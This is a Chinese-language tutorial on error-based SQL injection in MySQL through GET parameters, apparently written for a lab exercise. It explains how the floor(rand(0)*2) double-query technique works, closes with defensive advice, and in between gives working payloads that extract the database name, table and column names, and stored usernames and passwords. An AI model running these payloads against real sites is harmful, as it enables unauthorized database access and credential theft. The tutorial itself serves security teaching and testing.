mysql手注初级——get基于报错的盲注
字数 1134 2025-08-15 21:32:43
MySQL基于报错的盲注技术详解
一、报错注入概述
报错注入是一种SQL注入技术,黑客通过构造特殊查询语句,利用数据库的错误回显机制获取敏感信息。其核心特点是:
- 通过嵌套查询实现:
select...(select...) - 依赖数据库的错误信息输出
- 不需要依赖页面正常显示内容
二、核心函数与语法
1. rand()函数
- 随机函数,返回0~1之间的随机值
rand(0)使用种子0,保证随机序列可预测
2. floor()函数
- 取整函数,返回小于等于参数的最大整数
- 示例:
floor(1.234)返回1,floor(3.893)返回3
3. count()函数
- 聚合/计数函数,返回查询对象的总数
4. group by子句
- 分组语句,按照查询结果分组
5. concat()函数
- 字符串连接函数
- 示例:
concat('qwe','abc')返回'qweabc' - 常用于拼接敏感信息与随机数
三、双注入原理
双注入利用以下机制:
- 使用
rand()函数时,值会被计算多次 - 使用
group by时,floor(rand(0)*2)会被执行一次 - 如果虚表不存在记录,插入虚表时会再次执行
- 这种不一致性导致数据库报错,并泄露查询信息
四、典型报错注入语句分析
基础语句结构
union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a
from information_schema.columns
group by a--+
语句分解
-
concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a- 0x3a是冒号":"的十六进制
select user()获取当前用户floor(rand(0)*2)生成0或1- 整个表达式别名为a
-
from information_schema.columns- 从系统表查询,保证有足够数据
-
group by a- 按a的值分组,触发双注入机制
五、实战利用步骤
1. 爆出当前数据库
1' union select 1,2,3 from
(select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a --+
2. 爆出表名
1' union select 1,2,3 from
(select count(*),concat((select concat(table_name,0x3a,0x3a)
from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a --+
3. 爆出列名
1' union select 1,2,3 from
(select count(*),concat((select concat(column_name,0x3a,0x3a)
from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x
from information_schema.columns group by x)a --+
4. 获取用户数据
1' union select 1,2,3 from
(select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a)
from security.users limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a --+
六、技术要点总结
- 必须使用
rand(0)保证随机序列可预测 floor(rand(0)*2)会产生可预测的0/1序列group by与聚合函数count(*)组合是关键- 通过
concat将敏感信息与随机数拼接 - 使用
information_schema数据库获取元数据 limit 0,1确保每次只获取一条记录- 注释符
--+用于终止原查询
七、防御建议
- 使用预编译语句(Prepared Statements)
- 对用户输入进行严格过滤和转义
- 配置数据库错误信息不对外显示
- 最小权限原则,限制数据库用户权限
- 使用Web应用防火墙(WAF)检测注入攻击
通过掌握这些技术原理,安全人员可以更好地测试和加固系统,防止基于报错的SQL注入攻击。